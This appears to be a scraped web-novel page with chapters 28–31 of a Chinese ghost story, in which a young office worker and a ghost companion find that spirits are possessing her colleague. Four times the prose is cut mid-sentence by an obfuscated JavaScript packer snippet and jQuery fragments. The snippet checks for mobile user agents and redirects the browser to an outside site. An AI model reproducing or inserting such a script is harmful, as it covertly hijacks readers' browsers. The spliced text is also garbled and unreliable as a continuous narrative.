“嗯……除了女友和店员，现场还有另外五个跟这个男生有情感纠葛的女生，她们把这个男生打了一顿，因为他脚踏六条船，你当时求救无门，我就上了你的身，开始利用椅子自救，她们以为你也是其中的一条船，所以，她们按住了你，并且安慰说，不是你的错，都是渣男的错，不要伤害自己。” 纪明霜：“这……大可不必。” 林然点了点头，“我也是这么想的，但是她们的力气好大，我无论如何都无法挣脱，然后你就……” 纪明霜接话道，“……死了。” 林然点了点头。 纪明霜想了想，说，“但是我还是想吃华光商场的冰激凌，有没有什么跟冰激凌无关的死法呢？” 林然面无表情，“——多了去了，比如你的同事陈欣欣，在你开门进办公室的时候，失魂落魄地突然出现，脚上只穿了一只鞋子，头发也乱七八糟地散着，她悄悄地靠近你的身边，而后把你扑倒在地，从衣服里抽出一把很长的西瓜刀，从你的左眼刺了进去。” 纪明霜捂住了一只眼睛，“听起来就好痛……我不会是痛死的吧。” “你捂错了，那是右眼。”林然继续说道，“你的生命力很顽强，你当时并没有死，还被及时送到医院，虽然瞎了一只眼，但经过抢救，你脱离了危险。你的朋友很有钱，请来了最好的医生，把你安排在vip病房，出院的时候，你已经可以独立行走了。” “咦？”纪明霜说，“感觉不太对啊，我为什么成功活下来了？” “没有什么不对的。”林然重重地叹了口气，“你出院的那天，下楼梯的时候一脚踩空，当场死亡。” 纪明霜：“……好吧，但是好奇怪啊，陈欣欣为什么会拿刀捅我啊，还是用那么长的西瓜刀。” 林然：“……我也不知道，总之，加油，好好活着。” 纪明霜：“谢谢，我尽量。” 她躺回了被窝里，只是后半夜，她做了噩梦。 这个梦境太真实了，在梦里，她正站在长长的楼道里，楼道的两边都是无尽的黑暗，这里弥漫着迷眼的烟尘，还能闻到浓重的刺鼻味道，纪明霜站在一扇门前，她能听到门后传来一个女生的声音，这声音……是在呼救吗？ 她想去把门打开，但她感觉有点不安，似乎有一种不太寻常的力量正在快速接近，纪明霜很着急，她试着撞门，但是撞不开，但是下一秒，她就进入了这个小房间里。 房间里狭小又黑暗，她的周围堆放着乱七八糟的杂物，纸箱、收纳箱、胡乱扔着的书本、作业本、档案袋、扫帚、拖把、叠放在一起的垃圾桶，甚至还有两个呼啦圈。 她怀里的人正紧紧地抓着她的手腕，尖尖的指甲划过她的皮肤，纪明霜听见有人在叫她，“纪明霜！” 纪明霜睁开了眼，心跳仍是急促，“林……林然，你叫我？” 林然站在她的床边：“我当然得叫你，你应该起床了。” 纪明霜迷迷糊糊地坐了起来，“当时是你在叫我吗？” 林然说，“你睡糊涂了吧，看来睡太久也不是什么好事，我想想，你昨天晚上大概睡了十三个小时吧……” 纪明霜拿起手机看了看时间，“不对啊，这个时间起床，我应该不会迟到啊。” “理论上并不会，但是……”林然走到窗边，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419841|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一眼楼下，“你的手机刚刚亮了，应该是收到了消息，而且是社交软件的消息，你平时都会设置免打扰，所以联系你的人很大概率是你的朋友。你朋友的车很显眼，而楼下正好有一辆粉红色的车，停在一堆黑白灰的车子之间，所以，我建议你查看一下收到的消息。” 纪明霜打开了社交软件，果然是靳尤白给她发了消息，时间是在两分钟前。 举头望明月（靳尤白）：霜霜~ 举头望明白（靳尤白）：我今天正好可以顺路送你去上班，现在已经在你的楼下等你了哦！ 举头望明月（靳尤白）：你不会还在睡懒觉吧…… 纪明霜赶紧回复。 霜（纪明霜）：我刚刚醒来，马上就下去！ 霜（纪明霜）：谢谢你哦，难为你这么忙，还有空想着我。 对方回复得很快。 举头望明月（靳尤白）：不用着急哦，反正我是老板，我又不用打卡。 举头望明月（靳尤白）：只要你别迟到就行。 举头望明月（靳尤白）：当然，最好快点下来，我给你买了早餐，冷掉就不好吃了。 霜（纪明霜）：嗯嗯，好的！ 简单地洗漱之后，纪明霜一把提起她的包包，小跑着出了门。 在楼道里，小鬼正围观那三只鬼打牌，小陈哥看到她出门，居然露出了失望的表情，“她今天居然没有踩点出门，好吧，算我输了，你们有什么要求就直接说吧。” 女鬼幽幽地说，“我想摸摸楼下的小猫……” 小陈哥：“噫，你是让我去抓猫吗，那些猫看到我就会跑啊。” 女鬼低下了头。 小陈哥说，“那好吧，我尽量，我尽量……” 女鬼抬起了头。 保安小哥对小陈哥说，“该你出牌了。” 小陈哥：“你打的是什么来着，哦，对三啊，要不起。” 电梯来了，纪明霜走进了电梯，打了个哈欠，“但是我还是很困……” 林然：“……得了吧你，要不是你在说梦话，我还以为你睡死了呢。” “梦话？”纪明霜问道，“我说了什么梦话啊？” 林然，“再来三个冰激凌，不要香菜。” 纪明霜：“……” 上车之后，纪明霜才看到，今天是靳尤白开车，小敏坐在副驾驶，她回头笑着说，“纪小姐，后面的那个纸袋里，是你今天的早餐，赶紧趁热吃了吧。” 纪明霜打开了纸袋，“这是……水煎包？” 靳尤白说，“是油煎包子、茶叶蛋、甜玉米，还有一份三鲜汤，不知道你喜欢哪个，时间有限，我就买了我喜欢的汤。” 纪明霜安静地吃东西，靳尤白认真地开车，小敏则是唯一的气氛组，在车上说个不停，“我昨晚梦到了吱吱太太，她说她会给我做一辈子的饭，我好幸福哦，都不想醒来了……” 纪明霜问道，“这位‘吱吱太太’是厨师吗？” 小敏点点头，眼睛亮亮的，“嗯，赛博厨师，也是厨师。” 纪明霜：“啊？” 靳尤白笑了笑，“精神食粮，也是食粮，对吧？” 小敏：“对对！老板，你要不要入坑啊，我们一起看别人谈甜甜的恋爱哦~” 靳尤白叹了口气，“不行哦，我磕的cp，已经be了哦。” 小敏：“咦？” 29. 第29章 奶茶 小敏继续追问，但靳尤白没有多说，反而对那个‘吱吱太太’有点好奇，小敏立刻开始安利她最心爱的太太，一路上都在喋喋不休。 据纪明霜所知，小敏是靳尤白在大学时期认识的学妹，因为跟靳尤白的关系很好，所以毕业之后就被打包带走了。 虽然小敏有的时候会比较粗心，不过靳尤白了解她的性格，如果是重要的事会亲自跟进，如果是不重要的事，出点岔子也不要紧。 纪明霜被送到了公司，陈欣欣已经拿到了办公室的钥匙，现在端着电热水壶从茶水间里走出来，看到纪明霜，她打了个招呼，“小霜，早啊，你好喜欢这个娃娃啊，上班的时候都带在身边……咦，衣服有点脏了呢。” 纪明霜点点头，“是啊，所以趁上班的时候洗一洗，正好能省点家里的水和电。” 陈欣欣笑：“洗个娃娃，还能用多少水电，不过，就像你之前教我的，回家之后是玩手机的时间，我觉得很有道理哦。” “知道就好。”纪明霜笑了笑，“摸鱼就是我的人生哲学。” 纪明霜把小公主洋娃娃的衣服扒了下来，清洗干净，用衣架晾在了办公室里，办公室的阿姨啧啧称奇，“小纪，这是你缝的小衣服吗，布料也讲究，针脚也细密，你看这裙摆上的小蕾丝，哎呀，真好看，等你以后生了小孩，还能给小孩缝个百家衣、百衣被，多好！” 纪明霜摇了摇头，“不是哦，是认识的邻居婆婆送我的。” “果然啊，你们小年轻就是喜欢这样的东西，哈哈，我看了也喜欢，粉嫩嫩的，多好看呢……”阿姨拿着手里的茶杯，悠闲地呷了一口茶，“其实……你也可以跟她学一学手艺，啧啧，缝得真不错。” 纪明霜一边整理报表，一边跟阿姨有一搭没一搭地聊着天，陈欣欣突然探头，“小霜？” 纪明霜招呼道，“欣欣，在门口站着干什么，快进来吧。” 同时，她也注意到了，阿姨看到陈欣欣之后，立刻收敛了笑容，陈欣欣也注意到了阿姨的变化，她小心翼翼地打了个招呼，“阿姨，您好。” 阿姨没有理她，冷哼一声，就走了出去，她进了对门的办公室里，而后，对门的办公室里传来了欢声笑语。 陈欣欣露出了失落的表情，她提着一件刚洗好的衣服走了进来，“小霜，你这里有能挂衣服的地方吗，我用公司的洗衣机洗了我的工作服。” 纪明霜指了指门口的劣质塑料旧衣架，“那里就有，虽然看着脏，但我已经洗干净了。” 陈欣欣沉默着把衣服挂好，才把挽起的袖子放了下来，她小心地坐在纪明霜的旁边，“小霜，有什么需要我帮忙的吗，我今天的工作基本完成了……” 纪明霜摇了摇头，“摸鱼是我讲给你的第一个道理，现在，我要讲给你第二个道理了，那就是——不要往自己的身上揽活。如果我把我的工作给你做，下次再请你帮忙继续做，那这个活就是你的了，你脸皮薄，又不好意思拒绝，可你也有本职工作要做啊。如果别人让你帮忙，除非是主管或者领导，否则就直接拒绝，特别是你平级的同事，哪怕对方的资历很深。” 陈欣欣点了点头，而后就坐在纪明霜的身边，开始看纪明霜整理报表了。 她似乎有些心事，低头沉默的时候，眼里也有些泪光，纪明霜赶紧暂停了手头的工作，关切道，“欣欣，怎么了，你今天好像……不太开心？” 陈欣欣看着纪明霜的双眼，立刻开始掉眼泪了，她一边狼狈地擦着泪，一边很用力地吸鼻子，“我……我也不知道，但是我办公室的阿姨这样，你办公室的阿姨也这样，还有别的同事，除了你和主管，其他人对我都好冷淡，我以为是偶然、巧合，或者我多心了，可是我站在门口的时候，她就立刻不笑了，见我准备走进来，她就立刻离开了……” “没事的，欣欣，别哭了，这也没什么的，又不影响你的工资……” 陈欣欣摇头，眼泪继续掉个不停，“但是……不知道为什么，他们都用很奇怪的目光看着我，我……我也不知道是怎么回事……如果是我……嗝，如果是我做了什么错事，我会改的，但是我甚至都不知道发生了什么，他们……嗝，他们就这样，好像我是什么病毒，或者是什么脏东西，我……我好难过啊，小霜。” 纪明霜赶紧给她擦眼泪，“没事的，没事的，先别哭了……你的学历这么好看，只不过是一份工作，不喜欢就换一份呗，他们只要不当你的面说，你就当做什么也不知道，你不会把同事当成朋友吧，说实话，全都是无效社交，当然，除了我。” 陈欣欣太好哄了，这就破涕为笑了，“我当然知道，小霜是我的朋友啊。” 纪明霜问她，“至少在公司里，对于你来说，我是很重要的吧？” 陈欣欣点点头。 “那你就要听我的话，不要在乎他们的想法，你不要总从自己的身上找原因，你要更在乎自己的感受才对，如果你感觉这里不好，那你就不要待在这里了，我们以后也是好朋友啊。” “其实我也这么想过，但是这份工作是我爸妈帮忙找的，他们……他们希望我能在本地工作，如果我要辞职……他们不会同意的……” “可是你看上去好难过……” 陈欣欣说，“但是我爸妈并不在乎我的感受，他们只在乎我弟弟……我好担心我会被爸妈骂，但我都不知道发生了什么，同事们就突然对我避之不及了，而且一直在我背后指指点点……” 陈欣欣没有在这里多待，因为她的缘故，纪明霜都没办法认真工作了，她用纪明霜递来的纸巾把眼泪擦干净，就急匆匆地离开了。 陈欣欣出门之后，纪明霜蹑手蹑脚地走到办公室门口，看着陈欣欣的背影，“林然？” 林然从被扒光衣服的棉花娃娃中现身，“嗯。” “真是抱歉，脱光了你的衣服……” 林然无语，“……你真是有够无聊的。” “话说，你觉不觉得陈欣欣她……” “身上有点怪怪的？” 纪明霜点了点头，“是啊，她看上去没什么问题，她的影子也是正常的，但是我总感觉……哪里不对。” 对面的办公室门打开了，林然又藏进棉花娃娃之中了。 阿姨走了进来，这时已经快下班了，她一边穿外套，一边把手机从充电器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419842|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上拔下来，“小纪，你还是离小陈远一点吧。” 纪明霜：“啊？” 阿姨叹了口气，“知人知面不知心呢，你看小陈，多体面的女孩儿，居然是个小偷，还是个惯犯，阿姨不是怀疑你的人品，就是……唉，小心你包里的贵重物品，别让她给拿走了。” 纪明霜问道，“她……偷了什么，是很值钱的东西吗？” “唉……”阿姨坐在了椅子上，“倒也不是什么值钱的东西，就是膈应人，也就几杯奶茶，她自己不会点吗，已经好几次了……第一次的时候，我以为是谁拿错了，第二次的时候，我觉得有点不对啊，第三次的时候，我才开始查监控，你猜怎么着，就是陈欣欣拿的！ “我压着火气去找她，好歹是个小姑娘，给她留点面子吧，我就耐着性子对她说，‘小陈啊，要是喜欢喝奶茶，阿姨给你点一杯啊。’ “她却笑着说，‘不用啊，谢谢您的心意，我平时不怎么喝奶茶。’ “是啊，我也知道她不喜欢喝奶茶，因为我后来又查了监控，那些奶茶，她甚至都没有喝，直接扔进楼底下的垃圾桶！ “真是难为她费心，她害怕被人发现，甚至不敢坐电梯，她提着我和你对门阿姨的奶茶，来回二十多分钟，就是为了扔掉！” 纪明霜越听，越觉得不对劲，“但是我觉得，陈欣欣不是这样的人啊……” “哦，你相信她，不相信我，合着是我在诬告她吗？”阿姨拿着手机说，“可是，我手里可是有证据的，监控视频还在我的手机里存着呢。” 纪明霜问道，“那个监控，我能看一下吗？” 下班时间已经到了，阿姨没好气地把视频发给了纪明霜，就提着她副总儿子给她买的昂贵包包离开了。 纪明霜没有直接离开，而是坐在办公室里看了那段监控视频，和林然一起。 监控画面里，阿姨提着两杯奶茶走进了办公室里，而后，她两手空空地走进了对门办公室，对门阿姨和她一起走了出来，楼道里的光线很好，两人正亲亲热热地拍短视频，监控是带声音的，纪明霜能清楚地听到她们说，“——你若折我姐妹翅膀，我就毁你整个天堂！” 纪明霜：“……嗯，阿姨的生活还是很丰富的呢，奶茶喝着，短视频拍着，还天天用公司的洗衣机洗她跳广场舞的时候要穿的演出服。” 林然：“哦。” 监控画面里，阿姨拍好了视频，立刻去别的办公室里兴冲冲地展示。这时，陈欣欣出现了，如果纪明霜没看错的话，她的肩上伏着一团浓郁的黑影，她的脚下藏着另一团浓郁的黑影，她的身上，有两只鬼。 纪明霜咽了咽口水，有些难以置信地说，“不是吧……如果她身上有不对，我平时为什么看不到？” “就像我一样，它们也藏了起来。”林然定定地看着监控画面，“如果我没看错的话……她身上的那团黑影，那天跟着你从公司回了家。” “那天，是你救了我的那天吗？” “嗯，是你被野鬼上了身，差点引火自焚的那天。” 纪明霜站了起来，“那只鬼很厉害，所以欣欣她现在……非常危险。” 30. 第30章 分期 纪明霜先是去了陈欣欣的办公室，但她的办公室已经锁门了，纪明霜尝试着敲了敲门，并没有人回应。 果然是这样…… 已经下班了，大中午的，谁会留在办公室呢。 纪明霜又去了休息室和茶水间，陈欣欣也不在这里。 她又给陈欣欣打了电话，发了信息，可是陈欣欣电话不接，短信不回，纪明霜多打了几个电话，陈欣欣直接关机了，不知道是主动关机，还是没电自动关机了。 “为什么我总会遇到这样的事啊……”纪明霜叹了口气，“但是我又不能不管，多好的一个姑娘啊……” 林然建议道，“也许你可以问一下你的领导，他不是陈欣欣父母的朋友吗，至于理由嘛……随便编一个，只要能联系到陈欣欣就行。” “比如？” “比如你捡到了陈欣欣的手机，反正陈欣欣现在关机了，他们也没办法求证。如果他们能联系到陈欣欣，你就说是弄错了，再让陈欣欣本人来接电话。” 纪明霜给孙才去了电话，孙才虽然没有陈欣欣父母的联系方式，但他跟领导的关系很好，经常一起出去喝酒。 孙才帮忙问到了陈欣欣母亲的手机号，纪明霜立刻打了过去。 电话响了几声，就被接了起来，纪明霜说，“阿姨好，我是欣欣的同事，请问一下，她回家了吗？” “没有呢，我不在家，我也不知道她有没有回家，你有什么事吗？” “那个，也没什么，因为我捡到了欣欣的手机，想把手机还给她……” “这个啊，没关系的，你下午再拿给她吧。” 纪明霜说，“但是我听欣欣说，她每天都会打车回家，她又不带现金，如果没有手机，那还怎么打车啊，所以……” 陈母不以为意，“唉呀，没关系的，是她自己不小心，吃个教训也是好事……” “可是我有点担心欣欣……” “哦……我猜到了，你就是小霜吧，我们欣欣之前说起过你，果然是个好孩子呢。”陈母又说道，“不好意思，我儿子最近车祸受伤，正在住院，我在陪床，我老公正送饭过来，我现在要下楼拿饭了，对了，你有时间记得来我们家坐坐啊。” 还没等纪明霜说话，对方就挂断了电话。 等了五分钟，纪明霜又打了过去，但陈母没有接电话，过了一会儿，陈母给她回了电话，她只是含糊地说，“不好意思，我现在正忙呢，等欣欣回了家，会让她给你回电话的。” 纪明霜看了一眼手机，“这下难搞了……算了，先回公寓吧，我的快递到了。” 她骑着她的心肝宝贝小电驴回了灰灰公寓，她先是去取了快递，是那位道长寄给她的同城快递，里面放有五张符箓，她把符箓放进包包里，而后回家吃午饭。 “真是不明白……她怎么会被鬼缠上，而且是两只……”纪明霜忍不住担心，午饭都吃得心不在焉的。 女鬼突然出现，“这很奇怪吗？” 纪明霜没有回答，只是说，“我这里有速食的午餐，你要来一份吗？” 林然还没动筷子，闻言，他让开了位置，女鬼没有坐在林然的位置上，而是坐在了纪明霜的旁边，“谢谢你们的好意，不过不必了，如果有苦恼的话，可以跟我讲一讲，是之前跟着你回公寓的那团黑色的东西吗？” 纪明霜放下了筷子，“你……你也见过？” 女鬼点了点头，她把玩着手里的眼球，“……嗯，我确实见过‘那东西’，如果我一开始就知道你会帮我，我当时也不会坐视不管了，它的实力嘛，并不算强悍，至少比起我来，它可差得远呢。” 纪明霜：“咦？” 女鬼歪了歪头，“但是很可惜，我没办法离开这栋公寓，也就没办法帮你了，不过，你似乎不怎么害怕我？” “因为我看过你的记忆，而且查找了一些关于你的资料，所以……” “所以你自认为很了解我？”女鬼问道，“不过，嗯，确实是这样，我也自认为是个不错的人，冤有头，债有主，我杀过人，因为他确实该死，但是，我在你眼里并不可怕吧。” “至少现在是这样。”纪明霜看着她手里的眼球，感叹道，“没想到你居然会开导我……” “所以，你要知道，鬼的可怕之处，并不在于它的实力有多强，而是在于它不讲道理、不计代价，不顾后果，它想要你死，就会杀掉你，压根不需要理由，跟野兽没什么分别。” 纪明霜勉强笑了笑，“果然，这也没什么奇怪的。” “但是……”林然突然说道，“目前的所有疑点，好像都汇聚在一个人的身上了……如果她真的是人的话。” 纪明霜把最近发生的事串联起来，仔细地回想了一遍，只有一个人是最可疑的，如果是她的话，一切就都合理多了，“是……周可音?” 之前，被她盯上的人是纪明霜，但林然突然出现，扰乱了整个计划，所以她把目标被换成了更容易得手的陈欣欣。 靳尤白送来一张符箓，周可音送来一张纸钱，她用了障眼法，所以两张符箓才一模一样，符箓失效之后，纸钱开始起效，纪明霜的魂魄被压制，身体完全不受控制，所以周可音大概率想要得到的是纪明霜的身体。 之后，因为林然的出现，周可音转换了目标，开始接近陈欣欣，所以她才在纪明霜和陈欣欣的面前出现，这样，她就可以直接利用【纪明霜的好友】的身份来诱骗陈欣欣。 是啊，周可音原本就是个长相甜美可爱的女孩，她精挑细选的身体，当然也得是纪明霜或者陈欣欣这样年轻貌美才行。 果然，像她说的一样，纪明霜在来公司的第一天，就她被盯上了。 鬼，果然很会骗人呢…… 所以，陈欣欣身上的黑影，其实是周可音，陈欣欣脚边的黑影，则是另一只鬼。 周可音根本没有处理掉它，就目前的情况来看，它们像是达成了某种协议，选择把自己隐藏了起来，反正其他人都看不见，只要瞒过纪明霜和林然就够了。 周可音想要的应该是陈欣欣的身体，那么另一只鬼……要么是跟周可音合作，得到陈欣欣的身体，要么是想要得到另一半，也就是陈欣欣的灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419843|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魂。 再结合陈欣欣说她的男友失联了一个月……应该是后者的可能性更大。 如果真是这样的话…… 没经过陈欣欣本人的同意，它们就开始敲骨吸髓，准备把她瓜分得一干二净呢…… 这么一想，就连陈欣欣偷奶茶的行为也更合理了呢，继续这样下去，让陈欣欣被同事孤立，被亲人漠视，隔绝她对人间的依恋，让她甘愿成为一只孤魂野鬼。 这倒也不算难，只是需要时间，毕竟陈欣欣有一个倍受宠爱的弟弟，还有一颗敏感、善良又脆弱的心。 纪明霜现在完全没有心情吃饭了，她提着包包，离开了公寓，提前一个小时到了公司。 她给陈欣欣打了电话，对方依旧是关机，她照例巡视了一圈，看到孙才正在员工休息室里吃盒饭，见孙才看她，她打了个招呼，“孙哥，你中午没回家啊？” “没有，老婆给的零花钱不多，我想省点汽油，多抽几支烟。” “那你怎么现在才吃饭？” “唉，去领导办公室帮忙修电暖气嘛，忙到现在才搞定，电暖气没坏，坏的是插座。”孙才继续吃着盒饭，“说起来，你怎么这么早就过来了？” 纪明霜说，“我有点担心欣欣。” 孙才想了想，说了另一件事，“说起来，你知不知道咱们公司所在的这栋大楼有点邪门啊，不过也正因如此，公司晚上从来不用加班，唉，我以前也觉得这是件好事。 “前天中午的时候，主管让我去找陈欣欣帮忙统计一些数据，我进她办公室的时候，她正仰着躺在地上，四脚着地，不对，也不算四脚吧，她用手肘和小腿着地，就那么直勾勾地看着我，她的眼睛是无神的，没有聚焦，看着特别可怕。 “我当时被吓了一跳，我就问她，‘欣欣美女啊，你这是在做瑜伽吗？’ “她没说话，突然以特别快的速度朝我爬过来，人用那个姿势，怎么可能爬得那么快啊，况且她平时那么有礼貌的一个女孩儿，看到谁都会笑着打招呼，怎么可能会这样呢……我的第一反应是赶紧关上门，听到她撞在门上的声音，我又打开了门……” 纪明霜说，“孙哥，你的胆子还挺大的啊……” 孙哥笑了笑，“不是，我想着，如果真的是鬼，或者灵异事件，那我开不开门都不影响什么吧。” 纪明霜摇了摇头，“以后不要这样做了，因为……” “因为？” “因为那些东西会认为，你是在邀请它们过来，所以……” “啊？”孙才张了张嘴，“不是吧……” “所以，你开门之后，看到了什么？”纪明霜追问道。 “其实也没什么，我看到陈欣欣正在浇花，看见我进来，还跟我打了个招呼，我寻思着应该是我看错了吧，毕竟她连头发丝都是整整齐齐的。” “也许你需要一张符箓？”纪明霜打量着孙才的脸色，诚恳地推销道，“嗯，价格是这个数，童叟无欺。” 孙才看了看纪明霜，又看了看她拿出来的符箓，显然是有些动心了，“这……能分期吗？” 31. 第31章 黑影 “不能。” “不能。” 虽然价格并不算便宜，但孙才还是买走了两张，一张他自己用，另一张送给领导。 怪不得领导这么赏识他，他在公司的地位都快接近主管了。 经过这个小插曲之后，纪明霜回了办公室，她把手机放在桌面上，也许陈欣欣会给她打来电话，也许陈欣欣会按时来公司打卡，自从入职以来，陈欣欣从来没有迟到过，每天都是来得最早的。 等待的时间过得很慢，纪明霜在办公室坐着，时不时起身巡视陈欣欣的办公室、员工休息室、卫生间和茶水间，终于，纪明霜听到林然说，“她来了。” 纪明霜赶紧走了出去，果然在楼道里看到了陈欣欣的身影，纪明霜松了口气，赶紧迎了上去。 陈欣欣正低着头从卫生间里走出来，眼圈红红的，像是刚哭过的样子，看见纪明霜，她吓得往后退了两步，“小、小霜？” 纪明霜走近一步，拉住了她，“欣欣，你没事吧？” 陈欣欣愣愣地说，“我、我没事。” “真的吗？” “你最近有见到周可音吗，她有拿给你什么东西吗？” 陈欣欣左右看了看，说，“在楼道里聊天好像不太好，我们先去打个卡，然后去茶水间吧。” …… 在茶水间里，陈欣欣拿来一次性纸杯接了两杯温水，把其中一杯递给了纪明霜，“小霜，抱歉，我看到你给我打电话了，但是我的手机没电关机了，你……应该没什么急事吧？” “欣欣，你中午去哪里了？” 陈欣欣含糊地说，“我……我就是去吃了午饭……” “你回家了吗？” “没有，我爸妈都去医院照顾我弟弟了……我回不回家也不要紧吧，反正我爸妈只做弟弟爱吃的菜。” “那你中午……” 陈欣欣低下了头，“对……对不起，我、我有点难过，就去了楼下楼梯间的拐角那边，我在那里坐了好久，估计着时间快到了，才上来打卡的。” “欣欣，最近周可音来找过你吗？” 陈欣欣点了点头，“嗯……趁着没人的时候，她会来跟我聊天，讲点无聊的八卦什么的……小霜，你的脸色怎么这么难看，难道……是她欠你钱了吗？” “她被其他人看到过吗？” "嗯……貌似没有吧。"陈欣欣又问道，“小霜，我还没问呢，你给我打电话，是有什么要紧的事吗？” 纪明霜从包包里拿出了两张符箓，“欣欣，你先拿着这个，听我说，这两张符箓不能沾水，你要随身带着，并且分开存放，绝对不能离身。” 陈欣欣接过两张符箓，忍不住闻了一下，“咦，这个味道有点奇怪，感觉有点像拍电影用的道具啊……我最近的运气好差，拿着这个，能转运吗？” “我也不知道，总之，如果运气好的话，你有可能会活命，运气不好的话……” 陈欣欣笑了笑，“运气不好的话，我就会死掉吗？” 纪明霜握住了陈欣欣的手，陈欣欣的手冷冰冰的，根本不像是活人的温度，而且，陈欣欣的手越来越冷了，仿佛正在从纪明霜的身上汲取热量，纪明霜愣愣地放开了陈欣欣的手，“……欣欣？” 陈欣欣的笑容更大了，“纪明霜？” 纪明霜往后退了一步，“你是……周可音？” 陈欣欣，或者说是顶着陈欣欣面容的周可音，摇摇晃晃地站了起来，周围的环境随之也发生了变化，现在明明是晴朗的白天，周围却在逐渐变红，如同午觉睡醒之后令人恍惚的黄昏晚霞。 窗外的光芒明亮温柔，房间里是有些颓败的惨红，陈欣欣的面容在黄昏的光芒中显得有些诡谲，她笑着看向纪明霜，纪明霜后退了两步，林然现身，挡在了她的面前。 ‘陈欣欣’咬牙切齿地笑了，“嘻嘻，你果然出现了啊……从那天遇到你的时候，我就在想，什么时候才能再次遇见你呢……” 林然没有说话，纪明霜尝试着碰了下林然的衣角，能碰到，这果然是梦啊…… 不过，她到底是什么时候入梦的呢？ “周可音，陈欣欣去哪了？” ‘陈欣欣’坐回了沙发上，“她啊，她就在这里，只有在特定的时间，你才能看得到她，不愧是我一开始就看中的人，第一时间就发现这里是幻境啊……” “你想要做什么？” ‘陈欣欣’拿起刚刚倒的一杯水，一饮而尽，而后擦了擦嘴边的红迹，她的嘴好红，就像刚刚喝过红油漆一样，那片醒目的暗红像浇灭火焰的红酒，“纪明霜，你怎么一直在提问啊，刚刚在问陈欣欣，现在又来问我，难道你问了，我就必须要回答吗？” “随你，我要走了。” 眼看纪明霜和林然就要离开，在休息室的门关闭之前，‘陈欣欣’说，“请留步吧，也许我也愿意说点什么，毕竟我现在挺高兴的。” 纪明霜回头，“还会说‘请’，你什么时候这样有礼貌了？” “这重要吗？”‘陈欣欣’似乎是在叹息，“我一开始看上的人是你，可惜啊……他实在是太碍事了，他把你看得你眼珠子一样，不对，你其实是他的外置心脏吧，你以前救过他的命？” 纪明霜看向了林然：“有吗？” 林然：“忘了。” ‘陈欣欣’说，“然后我看上了陈欣欣，但是……她的男友死去之后，一直跟在她的身边，我很担心他们会像你们一样，幸运的是，那个男人愿意和我合作，应该说是深情还是绝情呢，因为爱她，所以宁愿让她死掉……” 纪明霜：“所以你们完全没有顾及陈欣欣的感受？” “呵……这很重要吗，至少对我来说，一点也不重要。”‘陈欣欣’卷起袖子，露出手腕上的伤口，新的旧的有十几道，“对我来说，重要的是，她没有我想象中的那么好，所以我现在还是想得到你……所以，不要让我失望啊。” 最后一句话，轻得像梦呓，而后，房间里的‘陈欣欣’消失了，休息室里一片黑暗。 纪明霜坐回了休息室的小沙发上，林然尝试着开了灯，但房间里的灯忽明忽暗，还时不时发出电流的‘滋滋’声，每当灯光闪烁一次，纪明霜都能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419844|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到黑暗的房间里有一个佝偻着背的身影慢慢地朝她靠近，它虽然弯着腰，但是比林然还要高，如果‘它’站起来的话，大概在三米往上了，它拄着拐杖，步幅很小，步速却很快，眼看它就走到纪明霜的面前了，林然把灯关了，室内又恢复了沉寂。 “你现在准备怎么办？”林然问道。 “我以为你会让我离开这里呢，毕竟，如果死在这里的话，我就会真的死掉啊。” 林然说，“我不知道，我是否是把‘想要活下去’的愿望强加在你的身上……你真的改变了很多。” 纪明霜问道，“比如？” “比如你以前并不会管这种闲事，你会一个人起床，一个人回家，一个人吃饭，一个人睡觉，一个人呆呆地看手机，而后，倒霉又平静地突然死掉，所以，我想知道，这会不会是一个好的开始呢？” 林然注视着她，她也怔怔地看着林然，他实在是太美了，从皮相到骨相，从眉眼到唇形，从身材到气质。 